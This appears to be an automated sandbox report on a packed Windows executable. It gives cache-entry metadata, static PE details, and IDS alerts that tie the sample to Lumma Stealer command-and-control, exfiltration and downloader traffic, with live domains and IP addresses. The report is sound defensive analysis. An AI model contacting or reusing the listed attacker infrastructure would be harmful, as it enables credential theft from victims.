SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949117681804922
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'843'200 bytes
MD5:	25eda07b817c7417799d153d629e1d94
SHA1:	cd63373ad66528e6dc7653d9ef49e95172dcc4ad
SHA256:	02ac6b117ee0d8a84f659b64162addac4e20be7f07db000a8f8e62b9f2ca4d9f
SHA512:	e040c4eb8f918ec47093729e4344db125b595eb25fe83f7f2d16d35747282aa7e0772662d85040ea55160cafe2961340680e72a97fb0ac9524e936c0c17dc3d1
SSDEEP:	24576:ZhPE14JMt3bTpz+E+2iAyIKmqjz8f1DKsr8fa8zOSaTTakFbR9lqzj4SrP776:TgJtXpJ7iAy7s1DgxvaTGGbRi/NrD
TLSH:	3285330C1F9F4B3AE3DDC834A54E2D409B12675B6901A928B7EDD26CC473ECCD359958
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g..............................I...........@..........................0I...........@.................................T@..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x890000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6734ACF6 [Wed Nov 13 13:43:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4E148A7C2Ah
paddd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x24a00	03ff8534c24505f2bee88e3cfedae7c3	False	0.9992267491467577	data	7.983673481557871	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	fe9e51301c5bfe20fdbabc64e4b3c262	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a0000	0x200	388523ff98fff19f2eb4e1299bb53726	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sxmimxoh	0x2f5000	0x19a000	0x199c00	a30b58f78ad4ddffc0e4cddbf40ef645	False	0.9945588964307505	data	7.95436366501058	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cibojnlb	0x48f000	0x1000	0x400	c31f0931b1e4d5d50d9cb2c59c9f1181	False	0.8701171875	data	6.566047100140661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x490000	0x3000	0x2200	66be4c6a0688510c72838c9fedb69990	False	0.062270220588235295	DOS executable (COM)	0.769959091683207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-15T19:39:14.100734+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.7	57740	1.1.1.1	53	UDP
2024-11-15T19:39:14.809776+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T19:39:14.809776+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T19:39:15.455755+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T19:39:15.455755+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T19:39:16.991271+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49708	172.67.174.133	443	TCP
2024-11-15T19:39:16.991271+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49708	172.67.174.133	443	TCP
2024-11-15T19:39:17.725756+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49708	172.67.174.133	443	TCP
2024-11-15T19:39:17.725756+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49708	172.67.174.133	443	TCP
2024-11-15T19:39:18.628150+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49714	172.67.174.133	443	TCP
2024-11-15T19:39:18.628150+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49714	172.67.174.133	443	TCP
2024-11-15T19:39:21.083942+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49730	172.67.174.133	443	TCP
2024-11-15T19:39:21.083942+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49730	172.67.174.133	443	TCP
2024-11-15T19:39:22.593796+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49741	172.67.174.133	443	TCP
2024-11-15T19:39:22.593796+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49741	172.67.174.133	443	TCP
2024-11-15T19:39:25.064463+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49753	172.67.174.133	443	TCP
2024-11-15T19:39:25.064463+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49753	172.67.174.133	443	TCP
2024-11-15T19:39:25.805078+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49753	172.67.174.133	443	TCP
2024-11-15T19:39:27.040890+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49769	172.67.174.133	443	TCP
2024-11-15T19:39:27.040890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49769	172.67.174.133	443	TCP
2024-11-15T19:39:31.620664+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49797	172.67.174.133	443	TCP
2024-11-15T19:39:31.620664+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49797	172.67.174.133	443	TCP
2024-11-15T19:39:32.313546+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49797	172.67.174.133	443	TCP
2024-11-15T19:39:33.258450+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49802	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 19:39:04.972805977 CET	49671	443	192.168.2.7	204.79.197.203
Nov 15, 2024 19:39:06.523511887 CET	443	49700	104.98.116.138	192.168.2.7
Nov 15, 2024 19:39:06.523756981 CET	49700	443	192.168.2.7	104.98.116.138
Nov 15, 2024 19:39:07.238322973 CET	49674	443	192.168.2.7	104.98.116.138
Nov 15, 2024 19:39:07.238387108 CET	49675	443	192.168.2.7	104.98.116.138
Nov 15, 2024 19:39:07.363445997 CET	49672	443	192.168.2.7	104.98.116.138
Nov 15, 2024 19:39:08.988940954 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 19:39:09.363306046 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 19:39:09.785187006 CET	49671	443	192.168.2.7	204.79.197.203
Nov 15, 2024 19:39:10.113310099 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 19:39:11.613328934 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 19:39:14.155411959 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:14.155478954 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:14.155589104 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:14.192199945 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:14.192284107 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:14.407331944 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:14.407365084 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:14.407454967 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:14.408129930 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:14.408140898 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:14.597708941 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 19:39:14.809580088 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:14.809776068 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:14.813822985 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:14.813851118 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:14.814171076 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:14.910701036 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:14.910701036 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:14.910969019 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:15.151567936 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.151664972 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.154804945 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.154819965 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.155165911 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.165806055 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.211338997 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.382565022 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.382600069 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.382618904 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.382682085 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.382700920 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.382739067 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.382764101 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.412106991 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.412130117 CET	443	49702	13.107.246.45	192.168.2.7
